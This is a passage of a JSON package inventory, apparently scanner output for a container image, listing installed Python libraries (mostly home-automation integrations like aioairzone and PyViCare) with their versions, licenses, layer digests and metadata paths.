"usr/local/lib/python3.14/site-packages/pyturbojpeg-1.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyViCare", "Identifier": { "PURL": "pkg:pypi/pyvicare@2.60.2", "UID": "ac210905a29b5915" }, "Version": "2.60.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvicare-2.60.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyXiaomiGateway", "Identifier": { "PURL": "pkg:pypi/pyxiaomigateway@0.14.3", "UID": "3328bcaf5180a7d8" }, "Version": "0.14.3", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/PyXiaomiGateway-0.14.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyYAML", "Identifier": { "PURL": "pkg:pypi/pyyaml@6.0.3", "UID": "da34a1e519dcea8" }, "Version": "6.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyyaml-6.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Pygments", "Identifier": { "PURL": "pkg:pypi/pygments@2.20.0", "UID": "4174aa1604b26faf" }, "Version": "2.20.0", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pygments-2.20.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Pypubsub", "Identifier": { "PURL": "pkg:pypi/pypubsub@4.0.7", "UID": "eed60d6f3e343996" }, "Version": "4.0.7", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypubsub-4.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "RachioPy", "Identifier": { "PURL": "pkg:pypi/rachiopy@1.1.0", "UID": "ca239dbb61e5033a" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/RachioPy-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "RestrictedPython", "Identifier": { "PURL": "pkg:pypi/restrictedpython@8.1", "UID": "ca395266d100e0a1" }, "Version": "8.1", "Licenses": [ "ZPL-2.1" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/restrictedpython-8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "RtmAPI", "Identifier": { "PURL": "pkg:pypi/rtmapi@0.7.2", "UID": "54a6ba793f4a2109" }, "Version": "0.7.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/RtmAPI-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "SQLAlchemy", "Identifier": { "PURL": "pkg:pypi/sqlalchemy@2.0.51", "UID": "c0fce1d425617b2e" }, "Version": "2.0.51", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/sqlalchemy-2.0.51.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "SecretStorage", "Identifier": { "PURL": "pkg:pypi/secretstorage@3.5.0", "UID": "3cc88da2d25d30c2" }, "Version": "3.5.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/secretstorage-3.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "SpeechRecognition", "Identifier": { "PURL": "pkg:pypi/speechrecognition@3.8.1", "UID": "30a184580552fd65" }, "Version": "3.8.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/SpeechRecognition-3.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Tami4EdgeAPI", "Identifier": { "PURL": "pkg:pypi/tami4edgeapi@3.0", "UID": "769e42baaea0ff24" }, "Version": "3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/Tami4EdgeAPI-3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "TravisPy", "Identifier": { "PURL": "pkg:pypi/travispy@0.3.5", "UID": "1543546adfb70297" }, "Version": "0.3.5", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/TravisPy-0.3.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "TwitterAPI", "Identifier": { "PURL": "pkg:pypi/twitterapi@2.7.12", "UID": "41710cea98cffad4" }, "Version": "2.7.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/TwitterAPI-2.7.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "WSDiscovery", "Identifier": { "PURL": "pkg:pypi/wsdiscovery@2.1.2", "UID": "b41163817636ae5f" }, "Version": "2.1.2", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/WSDiscovery-2.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Werkzeug", "Identifier": { "PURL": "pkg:pypi/werkzeug@3.1.8", "UID": "d589e777b3d3a41d" }, "Version": "3.1.8", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/werkzeug-3.1.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "accuweather", "Identifier": { "PURL": "pkg:pypi/accuweather@5.1.0", "UID": "fe7b66bcfd914c5d" }, "Version": "5.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/accuweather-5.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "acme", "Identifier": { "PURL": "pkg:pypi/acme@5.4.0", "UID": "b9ba909f6ab88b4c" }, "Version": "5.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/acme-5.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "actron-neo-api", "Identifier": { "PURL": "pkg:pypi/actron-neo-api@0.5.12", "UID": "4f73293ffec86277" }, "Version": "0.5.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/actron_neo_api-0.5.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "adax", "Identifier": { "PURL": "pkg:pypi/adax@0.4.0", "UID": "dc0b1fabed50fc49" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/adax-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "adb-shell", "Identifier": { "PURL": "pkg:pypi/adb-shell@0.4.4", "UID": "b0b37974304c577c" }, "Version": "0.4.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/adb_shell-0.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "adext", "Identifier": { "PURL": "pkg:pypi/adext@0.4.4", "UID": "4e10abe87d22ef6d" }, "Version": "0.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/adext-0.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "adguardhome", "Identifier": { "PURL": "pkg:pypi/adguardhome@0.8.1", "UID": "22725d1ae34b2691" }, "Version": "0.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/adguardhome-0.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "advantage-air", "Identifier": { "PURL": "pkg:pypi/advantage-air@0.4.4", "UID": "e41f048e3449f4b5" }, "Version": "0.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/advantage_air-0.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aenum", "Identifier": { "PURL": "pkg:pypi/aenum@3.1.17", "UID": "45ea0fb002f8fcdb" }, "Version": "3.1.17", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aenum-3.1.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "afsapi", "Identifier": { "PURL": "pkg:pypi/afsapi@1.0.1", "UID": "1beadd51de020288" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/afsapi-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "agent-py", "Identifier": { "PURL": "pkg:pypi/agent-py@0.0.24", "UID": "5bbc722b0cab96bb" }, "Version": "0.0.24", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/agent_py-0.0.24.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-geojson-geonetnz-quakes", "Identifier": { "PURL": "pkg:pypi/aio-geojson-geonetnz-quakes@0.16", "UID": "cdb1799c18912ce" }, "Version": "0.16", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_geonetnz_quakes-0.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-geojson-geonetnz-volcano", "Identifier": { "PURL": "pkg:pypi/aio-geojson-geonetnz-volcano@0.9", "UID": "8362cd47b7e14825" }, "Version": "0.9", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_geonetnz_volcano-0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-geojson-nsw-rfs-incidents", "Identifier": { "PURL": "pkg:pypi/aio-geojson-nsw-rfs-incidents@0.7", "UID": "9de66c44f778c837" }, "Version": "0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_nsw_rfs_incidents-0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-geojson-usgs-earthquakes", "Identifier": { "PURL": "pkg:pypi/aio-geojson-usgs-earthquakes@0.3", "UID": "4a694d8d00a5b43c" }, "Version": "0.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_usgs_earthquakes-0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-georss-gdacs", "Identifier": { "PURL": "pkg:pypi/aio-georss-gdacs@0.10", "UID": "c974346f1a5b9751" }, "Version": "0.10", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_georss_gdacs-0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-ownet", "Identifier": { "PURL": "pkg:pypi/aio-ownet@0.0.5", "UID": "4e7e63dac4adac1a" }, "Version": "0.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_ownet-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio-wattwaechter", "Identifier": { "PURL": "pkg:pypi/aio-wattwaechter@1.0.0", "UID": "134ed86434b3b931" }, "Version": "1.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_wattwaechter-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio_geojson_client", "Identifier": { "PURL": "pkg:pypi/aio-geojson-client@2026.6.0", "UID": "fa6d7a12c32a10d7" }, "Version": "2026.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_client-2026.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio_geojson_generic_client", "Identifier": { "PURL": "pkg:pypi/aio-geojson-generic-client@0.5", "UID": "e6aaa8793bf74178" }, "Version": "0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_geojson_generic_client-0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aio_georss_client", "Identifier": { "PURL": "pkg:pypi/aio-georss-client@2026.6.0", "UID": "125e51df30fad275" }, "Version": "2026.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aio_georss_client-2026.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioacaia", "Identifier": { "PURL": "pkg:pypi/aioacaia@0.1.18", "UID": "db41cf49317097ab" }, "Version": "0.1.18", "Licenses": [ "AGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioacaia-0.1.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioairq", "Identifier": { "PURL": "pkg:pypi/aioairq@0.4.8", "UID": "b31cd7fabd46cf2f" }, "Version": "0.4.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioairq-0.4.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioairzone", "Identifier": { "PURL": "pkg:pypi/aioairzone@1.0.5", "UID": "ca7c584fbc7e411b" }, "Version": "1.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioairzone-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioairzone-cloud", "Identifier": { "PURL": "pkg:pypi/aioairzone-cloud@0.7.2", "UID": "5aed039d6812d10b" }, "Version": "0.7.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioairzone_cloud-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioamazondevices", "Identifier": { "PURL": "pkg:pypi/aioamazondevices@14.1.9", "UID": "31c15c7448d8ce1d" }, "Version": "14.1.9", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioamazondevices-14.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioambient", "Identifier": { "PURL": "pkg:pypi/aioambient@2024.8.0", "UID": "46ec83581262662b" }, "Version": "2024.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioambient-2024.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioapcaccess", "Identifier": { "PURL": "pkg:pypi/aioapcaccess@1.0.0", "UID": "50aa5a1904021869" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioapcaccess-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioaquacell", "Identifier": { "PURL": "pkg:pypi/aioaquacell@1.0.0", "UID": "755f6c713707be35" }, "Version": "1.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioaquacell-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioaquarite", "Identifier": { "PURL": "pkg:pypi/aioaquarite@0.5.1", "UID": "7dc7e7714bf2fb7c" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioaquarite-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioaseko", "Identifier": { "PURL": "pkg:pypi/aioaseko@1.0.0", "UID": "13153bb55c28784c" }, "Version": "1.0.0", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioaseko-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioasuswrt", "Identifier": { "PURL": "pkg:pypi/aioasuswrt@1.5.4", "UID": "df65fcaf81fc83c9" }, "Version": "1.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioasuswrt-1.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioautomower", "Identifier": { "PURL": "pkg:pypi/aioautomower@2.7.6", "UID": "d88f86ec0ae3bd62" }, "Version": "2.7.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioautomower-2.7.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioazuredevops", "Identifier": { "PURL": "pkg:pypi/aioazuredevops@2.2.2", "UID": "2ff2f6f01ca3cbde" }, "Version": "2.2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioazuredevops-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiobafi6", "Identifier": { "PURL": "pkg:pypi/aiobafi6@0.9.0", "UID": "7153ec16fc726e2a" }, "Version": "0.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiobafi6-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiobotocore", "Identifier": { "PURL": "pkg:pypi/aiobotocore@2.21.1", "UID": "c2c4f5a0c7985863" }, "Version": "2.21.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiobotocore-2.21.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiocache", "Identifier": { "PURL": "pkg:pypi/aiocache@0.12.3", "UID": "af5c905d588e551" }, "Version": "0.12.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiocache-0.12.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiocentriconnect", "Identifier": { "PURL": "pkg:pypi/aiocentriconnect@0.2.3", "UID": "f9d9c0612ea6489e" }, "Version": "0.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiocentriconnect-0.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiocoap", "Identifier": { "PURL": "pkg:pypi/aiocoap@0.4.17", "UID": "a7e064dcb025b25f" }, "Version": "0.4.17", "Licenses": [ "MIT AND BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiocoap-0.4.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiocomelit", "Identifier": { "PURL": "pkg:pypi/aiocomelit@2.0.7", "UID": "cbdc653584a2a04b" }, "Version": "2.0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiocomelit-2.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioconsole", "Identifier": { "PURL": "pkg:pypi/aioconsole@0.8.2", "UID": "9411545fbc6e9cc0" }, "Version": "0.8.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioconsole-0.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiodhcpwatcher", "Identifier": { "PURL": "pkg:pypi/aiodhcpwatcher@1.2.7", "UID": "954ea407826d1ee1" }, "Version": "1.2.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiodhcpwatcher-1.2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiodiscover", "Identifier": { "PURL": "pkg:pypi/aiodiscover@3.3.2", "UID": "9137d9c2c35884b6" }, "Version": "3.3.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiodiscover-3.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiodns", "Identifier": { "PURL": "pkg:pypi/aiodns@4.0.4", "UID": "39ec343e09ef51cb" }, "Version": "4.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiodns-4.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioeafm", "Identifier": { "PURL": "pkg:pypi/aioeafm@0.1.2", "UID": "66b88ea576263d60" }, "Version": "0.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioeafm-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioeagle", "Identifier": { "PURL": "pkg:pypi/aioeagle@1.1.0", "UID": "b3ad51f02c2c1ab2" }, "Version": "1.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioeagle-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioecowitt", "Identifier": { "PURL": "pkg:pypi/aioecowitt@2026.6.0", "UID": "f53d72ba12047f9f" }, "Version": "2026.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioecowitt-2026.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioelectricitymaps", "Identifier": { "PURL": "pkg:pypi/aioelectricitymaps@1.1.1", "UID": "4e257779ea4783b3" }, "Version": "1.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioelectricitymaps-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioemonitor", "Identifier": { "PURL": "pkg:pypi/aioemonitor@1.0.5", "UID": "eca27478e29e1f6c" }, "Version": "1.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioemonitor-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioesphomeapi", "Identifier": { "PURL": "pkg:pypi/aioesphomeapi@45.3.1", "UID": "557e0e2fb82593fa" }, "Version": "45.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioesphomeapi-45.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiofile", "Identifier": { "PURL": "pkg:pypi/aiofile@3.9.0", "UID": "7018cec3f0a84122" }, "Version": "3.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiofile-3.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiofiles", "Identifier": { "PURL": "pkg:pypi/aiofiles@24.1.0", "UID": "748c31031c4b55e8" }, "Version": "24.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": 